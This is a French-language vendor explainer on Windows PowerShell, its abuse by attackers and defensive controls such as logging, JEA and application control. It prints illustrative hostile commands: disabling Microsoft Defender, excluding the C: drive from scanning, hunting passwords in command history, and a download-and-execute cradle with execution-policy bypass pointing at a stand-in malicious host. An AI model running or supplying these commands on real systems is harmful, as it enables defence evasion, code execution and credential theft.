
Qu’est-ce que Windows PowerShell ?
Windows PowerShell est un puissant outil d’automatisation. Découvrez ses implications pour la sécurité et comment l’utiliser en toute sécurité dans votre environnement.

Windows PowerShell est un puissant langage de script et un interpréteur de commandes qui automatise les tâches et gère les configurations. Ce guide présente les fonctionnalités de PowerShell, notamment son rôle dans l’administration des systèmes et la sécurité.
Découvrez les commandes PowerShell courantes, les bonnes pratiques de script et comment utiliser PowerShell pour la cybersécurité. Maîtriser PowerShell est essentiel pour les professionnels de l’informatique et de la sécurité.

Quel impact PowerShell peut-il avoir sur les actifs précieux de votre entreprise ? Découvrez les bases de PowerShell, pourquoi il attire les pirates informatiques et comment protéger votre entreprise
Microsoft PowerShell est un interpréteur de commandes et un langage de script utilisé pour automatiser les tâches et gérer les systèmes Windows. Les administrateurs et les professionnels de la sécurité l’utilisent couramment pour automatiser les tâches récurrentes, gérer et surveiller les systèmes, et automatiser la réponse aux incidents de sécurité. Les attaquants utilisent souvent PowerShell pour accéder aux systèmes sans autorisation et exécuter du code malveillant.
Microsoft PowerShell est disponible sur Windows depuis 2006, mais il est désormais l’interpréteur de commandes de l’Explorateur de fichiers sous Windows 10 et a largement supplanté l’ancien outil cmd.exe. Bien que les utilisateurs ordinaires le jugent souvent obscur, PowerShell est devenu indispensable aux équipes informatiques et aux administrateurs réseau grâce à sa souplesse et à sa puissance. Dans ce guide d’introduction, nous expliquerons les bases de PowerShell, pourquoi il attire les pirates informatiques et les auteurs de malware, et comment protéger votre organisation.
Choisissez votre version
Si vous saisissez « PowerShell » dans le champ de recherche de Cortana, deux options s’affichent : PowerShell ISE et l’application de bureau PowerShell. De plus, si vous faites un clic droit sur le menu Démarrer ou sur l’icône de l’une des deux versions de PowerShell dans la barre des tâches, vous verrez deux façons de lancer chacune d’elles : en tant qu’utilisateur actuel ou en tant qu’administrateur.

Les administrateurs qui souhaitent automatiser des tâches courantes utiliseront probablement l’interface ISE pour développer des modules et des scripts PowerShell. Pour une utilisation interactive, la plupart choisiront toutefois l’application de bureau PowerShell et l’exécuteront en tant qu’administrateur ou utilisateur actuel, selon la tâche.
Vous entendrez peut-être aussi parler de PowerShell Core, une édition open source multiplateforme qui fonctionne non seulement sous Windows, mais aussi sous Linux et macOS :

Attention toutefois : cette édition s’installe sous forme de binaire non signé, qu’un programme malveillant pourrait facilement remplacer. Si certains de vos endpoints utilisent PowerShell Core, veillez à ce que votre organisation le signe avec un certificat approprié ou effectue régulièrement des vérifications shasum pour s’assurer qu’il n’a pas été altéré.
Malgré quelques différences de fonctionnalités entre les versions de PowerShell, toutes peuvent ouvrir des sessions distantes via SSH et interagir avec de nombreux processus et services. PowerShell peut même interagir avec le registre Windows et le journal des événements. Un adversaire ayant accès à PowerShell dispose donc des mêmes possibilités.
Exploitez toute sa puissance
Deux commandes simples donnent un aperçu des possibilités de PowerShell :
Get-Module -ListAvailable
pour afficher les modules disponibles, et
Get-Command
pour afficher les commandes disponibles :

Prenons quelques exemples. Supposons que vous, ou un adversaire, parcouriez un répertoire de documents et souhaitiez repérer rapidement les éléments intéressants. La commande suivante affiche les deux premières et les deux dernières lignes de chaque fichier texte du répertoire. Elle parcourt récursivement les sous-répertoires, inclut les fichiers masqués ou invisibles et redirige le résultat vers un autre fichier texte pour une consultation ou une récupération ultérieure :
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Pour repérer des documents commençant par « Confidential » ou se terminant par la fonction de leur auteur, comme « Chief Financial Officer », cette méthode permettrait de dresser rapidement un inventaire sommaire des éléments intéressants.
Pour supprimer un élément, par exemple afin d’effacer les traces d’une intrusion, il suffit d’utiliser
Remove-Item <path>
PowerShell permet aussi de manipuler le système d’exploitation de façons intéressantes et, malheureusement, dangereuses. Si l’auteur d’un malware veut contourner le moteur antivirus préinstallé Microsoft Defender, une commande PowerShell exécutée avec les privilèges appropriés peut le désactiver :
Set-MpPreference -DisableRealTimeMonitoring $true
ou, plus discrètement, exclure un lecteur ou un chemin de l’analyse :
Add-MpPreference -ExclusionPath “c:”
PowerShell facilite aussi l’énumération des lecteurs réseau et la consultation du journal des événements par les attaquants. Les commandes Get-PSDrive et Get-EventLog, respectivement, leur permettent ainsi de trouver des informations exploitables.

La consultation de l’historique des commandes est utile aussi bien aux utilisateurs qu’aux acteurs malveillants. Cet historique comprend les arguments des commandes saisies de manière interactive dans la ligne de commande. Il est enregistré à l’emplacement affiché par cette commande :
(Get-PSReadLineOption).HistorySavePath
Nous pouvons utiliser cat et la cmdlet Select-String (ou son alias sls) pour rechercher des éléments intéressants dans les commandes, comme des mots de passe ! :

Scripts et kits d’exploitation
Toutefois, la ligne de commande PowerShell n’offre pas aux acteurs malveillants leurs meilleures possibilités d’action. Plus dangereuse est la capacité de PowerShell à exécuter des scripts en mémoire (attaques de malware dites « sans fichier ») ou depuis le disque. Dans les deux cas, les scripts peuvent être exécutés directement sur un hôte ou à distance.
À l’instar de la commande eval du shell Unix, PowerShell dispose d’Invoke-Expression (et de son alias iex), qui permet de télécharger et d’exécuter un script malveillant en mémoire. Nous pouvons ajouter Bypass pour tenter de contourner une politique d’exécution restrictive :
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Sans surprise, des frameworks d’exploitation complets tirant pleinement parti de PowerShell sont rapidement apparus.
Le premier d’entre eux est PowerSploit, un ensemble de scripts PowerShell permettant de manipuler et de contrôler la machine d’une victime.

PowerShell Empire s’appuie sur PowerSploit et plusieurs autres projets pour créer un outil de post-exploitation capable d’échapper à la détection réseau, d’exécuter des enregistreurs de frappe et de lancer d’autres modules comme Mimikatz afin d’extraire directement de la mémoire des mots de passe en clair, des empreintes de mots de passe et d’autres données.

L’essor des attaques PowerShell
La création de scripts et de commandes PowerShell exécutables à partir d’autres types de fichiers Windows, .exe, .bat, .wsf et .LNK est l’une des raisons de la progression des malware basés sur PowerShell ces dernières années. Selon une estimation , les exploits PowerShell seraient à l’origine de près de 40 % des incidents liés aux malware. Les attaquants l’utilisent sans aucun doute dans de nombreuses campagnes, des ransomware au vol d’identifiants et aux chevaux de Troie bancaires. PowerShell a également été utilisé pour la fraude au clic, l’interception de mots de passe et l’exfiltration de données.
DNSMessenger est un malware dont la propagation a été observée via une macro dans un document Word. Il utilise astucieusement du code source VBA pour transmettre des commandes PowerShell encodées, assurer sa persistance, déployer sa charge utile et communiquer avec un serveur C&C.
Fait surprenant, certaines attaques PowerShell ne nécessitent même pas le fichier PowerShell.exe intégré. Des outils comme PowerShdll et InsecurePowerShell exécutent directement des scripts en exploitant System.Management.Automation.dll, la bibliothèque sur laquelle repose le binaire PowerShell. En bref, l’exécutable PowerShell n’est qu’un hôte ou une enveloppe pour le code réel contenu dans cette bibliothèque de liens dynamiques. Les attaques peuvent ainsi amener pratiquement n’importe quel processus à exécuter des scripts et des commandes PowerShell.
D’autres utilisations ingénieuses de PowerShell consistent à intégrer un script PowerShell dans les pixels d’un fichier PNG et à générer une commande sur une seule ligne pour l’exécuter avec Invoke-PSImage, ou à convertir des scripts PowerShell en fichiers EXE avec des outils comme PS2EXE.
Gérer PowerShell
Tout cela montre que bloquer simplement PowerShell.exe serait vain, sans parler des contraintes imposées aux administrateurs système qui comptent désormais sur ses fonctionnalités. PowerShell et les DLL sur lesquelles il repose font partie intégrante du système d’exploitation Windows. Avec l’arrivée de PowerShell Core, ses possibilités s’étendent à l’administration multiplateforme, qui peut être essentielle pour les entreprises.
Une solution d’entreprise efficace pour gérer la double nature de PowerShell, comme SentinelOne, analyse le comportement des processus s’exécutant sur l’endpoint. Cette approche est efficace, car leur comportement reste similaire, quelle que soit la façon dont les attaques de malware sont mises en œuvre. L’agent SentinelOne surveille toutes les activités sur l’agent pour distinguer les activités malveillantes des activités légitimes. Comme il dispose déjà du contexte complet : utilisateurs, processus, arguments de ligne de commande, registre, fichiers sur le disque et communications externes, il peut neutraliser les activités malveillantes, quelle qu’en soit la source.
Cet article vous a plu ? Suivez-nous sur LinkedIn, Twitter, YouTube ou Facebook pour découvrir nos publications.
En savoir plus sur la sécurité Windows
- Le cheval de Troie bancaire Hancitor est de retour | Une pièce jointe Word malveillante à l’œuvre
- SentinelOne détecte et bloque une nouvelle variante de Powershell CryptoWorm
- Un nouveau type de fichier Windows 10 peut servir à exécuter des applications malveillantes

Cybersécurité alimentée par l'IA
Améliorez votre posture de sécurité grâce à la détection en temps réel, à une réponse à la vitesse de la machine et à une visibilité totale de l'ensemble de votre environnement numérique.
FAQ sur Windows PowerShell
Windows PowerShell est un shell en ligne de commande et un langage de script Microsoft fondés sur le .NET Framework. Il utilise des cmdlets—des commandes simples au format verbe-nom—pour automatiser des tâches comme la gestion du système de fichiers, du registre et des services.
PowerShell traite et renvoie des objets plutôt que du texte brut. Vous pouvez ainsi transmettre des données structurées d’une cmdlet à l’autre par pipeline. Il prend aussi en charge l’administration à distance, les modules et l’aide intégrée à la console pour gérer les systèmes.
Contrairement à l’ancien CMD, PowerShell utilise des cmdlets au format verbe-nom et manipule des objets .NET plutôt que des flux de texte. Vous pouvez donc enchaîner des commandes par pipeline sans analyser de texte. Les scripts PowerShell peuvent appeler directement les API .NET, offrent une gestion plus avancée des erreurs et prennent en charge les modules.
Les shells traditionnels ne traitent que du texte brut et des scripts batch simples. PowerShell offre un environnement de script complet pour l’automatisation et la configuration.
Sa profonde intégration au système et ses capacités de script font de PowerShell un outil prisé des administrateurs comme des attaquants. Les acteurs malveillants utilisent des techniques sans fichier—en exécutant des scripts en mémoire—pour échapper à la détection.
PowerShell peut désactiver les défenses, télécharger du code malveillant ou voler des identifiants sans écrire sur le disque. Omniprésent dans Windows, il exige des défenseurs qu’ils considèrent son activité comme à haut risque et la surveillent étroitement pour détecter tout abus.
Selon une étude de Cisco, PowerShell était impliqué dans plus d’un tiers des menaces de sécurité critiques visant les endpoints. Carbon Black a relevé une utilisation abusive de PowerShell dans 38 % des incidents, souvent lors d’actions après exploitation comme le mouvement latéral ou le vol d’identifiants.
Malgré une faible utilisation normale, PowerShell apparaît dans environ un cas malveillant confirmé sur quatorze.
Activez toutes les fonctions de journalisation PowerShell : journalisation des modules, des blocs de script et des transcriptions. Fixez la taille des journaux à au moins 150 Mo et collectez les événements de
Microsoft-Windows-PowerShell/Operational et PowerShellCore/Operational. Transmettez les journaux à un SIEM ou à une plateforme XDR. Bloquez les scripts lancés par des processus parents non fiables et limitez l’exécution aux seuls scripts signés. Activez Protected Event Logging pour obtenir plus de détails.
Utilisez Just Enough Administration (JEA) pour limiter l’accès des utilisateurs aux cmdlets approuvées. Imposez le mode de langage restreint pour désactiver COM, WMI et les expressions complexes. Déployez des politiques Application Control (par exemple, WDAC) pour n’autoriser que les scripts signés.
Maintenez PowerShell à jour, en version v5.1 ou ultérieure. Examinez et ajustez régulièrement les paramètres de journalisation pour enregistrer chaque exécution de script.
Bloquer totalement PowerShell peut perturber la gestion des systèmes et l’administration à distance. Microsoft déconseille de le supprimer complètement. Limitez plutôt son exécution aux administrateurs autorisés, imposez un contrôle des applications et empêchez son lancement par des processus parents non fiables, comme les applications Office.
Associés à la journalisation et à la surveillance, ces contrôles bloquent la plupart des usages malveillants sans entraver les opérations légitimes.
PowerShell permet aux défenseurs d’automatiser la réponse aux incidents, de collecter rapidement des données d’investigation numérique et de traquer les menaces. Vous pouvez écrire des scripts qui rassemblent en quelques minutes les traces du registre, la liste des processus et les connexions réseau. Maîtriser PowerShell aide aussi à comprendre les techniques des attaquants, car de nombreux outils utilisés après exploitation (Empire, Cobalt Strike) reposent sur PowerShell.
Les scripts PowerShell peuvent collecter la mémoire vive, les clés d’exécution du registre, les journaux d’événements et les données réseau pour le triage. Des outils communautaires comme DFIR-Script automatisent la collecte de preuves sur les endpoints. Les analystes utilisent PowerShell pour rechercher les blocs de script malveillants dans les événements Windows portant l’ID 4104, analyser les résultats et les transmettre aux playbooks SOAR. PowerShell joue ainsi un rôle central dans les workflows de détection, de confinement et de remédiation.



